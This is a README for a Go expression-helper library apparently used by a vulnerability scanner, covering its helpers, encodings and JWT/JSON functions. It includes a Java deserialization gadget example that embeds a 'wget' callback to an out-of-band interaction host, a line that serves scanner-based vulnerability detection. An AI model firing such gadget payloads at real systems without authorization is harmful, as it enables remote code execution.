dsl

DSL

DSL ease the creation of expressions by providing a set of built-in helper functions.

What is DSL?

DSL is a library that allows to create and evaluate expressions. You can define expressions to compare, filter, or transform data, and then evaluate them against a set of data.

Example

package main

import (
	"fmt"
	"github.com/Knetic/govaluate"
	"github.com/khulnasoft-lab/dsl"
)

func main() {
	// Define the data to evaluate
	data := map[string]interface{}{
		"username": "johndoe",
		"email":    "johndoe@example.com",
		"password": "12345",
		"ip":       "127.0.0.1",
		"url":      "https://www.example.com",
		"date":     "2022-05-01",
	}

	// Define the expressions to evaluate
	expressions := map[string]string{
		"username_and_email_matcher": "contains(username, 'john') && contains(email, 'example.com')",
		"password_criteria":          "contains_any(password, '0123456789') && regex_any(password, '[A-Z]')",
		"sha256_username_matcher":    "sha256(username) == 'a0d95c8b32fa9b05a7d790a08e221c384b317ca05f66a7b84978d22c9838bb2a'",
		"ip_format_matcher":        "ip_format(ip, '1') == '127.0.0.1'",
		"url_valid_matcher":       "startswith(url, 'http') && contains(url, '://') && contains(url, '.') && !contains_any(url, ':@')",
	}

	for matcherName, expression := range expressions {
		compiledExpression, err := govaluate.NewEvaluableExpressionWithFunctions(expression, dsl.DefaultHelperFunctions)
		if err != nil {
			fmt.Printf("Failed to compile expresion: %v\n", expression)
		}

		result, err := compiledExpression.Evaluate(data)
		if err != nil {
			fmt.Printf("Failed to evaluate expresion: %v\n", expression)
		}

		if result == true {
			fmt.Printf("[%v] matches data\n", matcherName)
		} else {
			fmt.Printf("[%v] not matches data\n", matcherName)
		}
	}
}

Default Helper functions list

Supported encodings:

• base64 (default)
• gzip-base64
• gzip
• hex
• raw

Deserialization helper function format:

{{generate_java_gadget(payload, cmd, encoding}}

Deserialization helper function example:

{{generate_java_gadget("commons-collections3.1", "wget http://{{interactsh-url}}", "base64")}}

Binary pack/unpack

The gostruct package provides functionality for converting Go values represented as byte slices. It uses format strings to describe the layout of the Go structs. The format characters include boolean, big endian, little endian, int, float32, float64, and string types with different packed sizes. Currently, only binary unpack of the first operand after endianess has been supported.

JSON helper functions

Nuclei allows manipulate JSON strings in different ways, here is a list of its functions:

• generate_jwt, to generates a JSON Web Token (JWT) using the claims provided in a JSON string, the signature, and the specified algorithm.
• json_minify, to minifies a JSON string by removing unnecessary whitespace.
• json_prettify, to prettifies a JSON string by adding indentation.

Examples

generate_jwt

To generate a JSON Web Token (JWT), you have to supply the JSON that you want to sign, at least.

Here is a list of supported algorithms for generating JWTs with generate_jwt function (case-insensitive):

• HS256
• HS384
• HS512
• RS256
• RS384
• RS512
• PS256
• PS384
• PS512
• ES256
• ES384
• ES512
• EdDSA
• NONE

Empty string ("") also means NONE.

Format:

{{generate_jwt(json, algorithm, signature, maxAgeUnix)}}

Arguments other than json are optional.

Example:

variables:
  json: | # required
    {
      "foo": "bar",
      "name": "John Doe"
    }
  alg: "HS256" # optional
  sig: "this_is_secret" # optional
  age: '{{to_unix_time("2032-12-30T16:30:10+00:00")}}' # optional
  jwt: '{{generate_jwt(json, "{{alg}}", "{{sig}}", "{{age}}")}}'

The maxAgeUnix argument is to set the expiration "exp" JWT standard claim, as well as the "iat" claim when you call the function.

json_minify

Format:

{{json_minify(json)}}

Example:

variables:
  json: |
    {
      "foo": "bar",
      "name": "John Doe"
    }
  minify: '{{json_minify(json}}'

minify variable output:

{"foo":"bar","name":"John Doe"}

json_prettify

Format:

{{json_prettify(json)}}

Example:

variables:
  json: '{"foo":"bar","name":"John Doe"}'
  pretty: '{{json_prettify(json}}'

pretty variable output:

{
  "foo": "bar",
  "name": "John Doe"
}

Caching layer

DSL helpers that given the same input have deterministic output and are I/O intensive, should set the Cacheable property to true. This avoids to invoke the function multiple times and return always the same result.

Thanks

Knetic/govaluate - For providing a powerful expression evaluation package.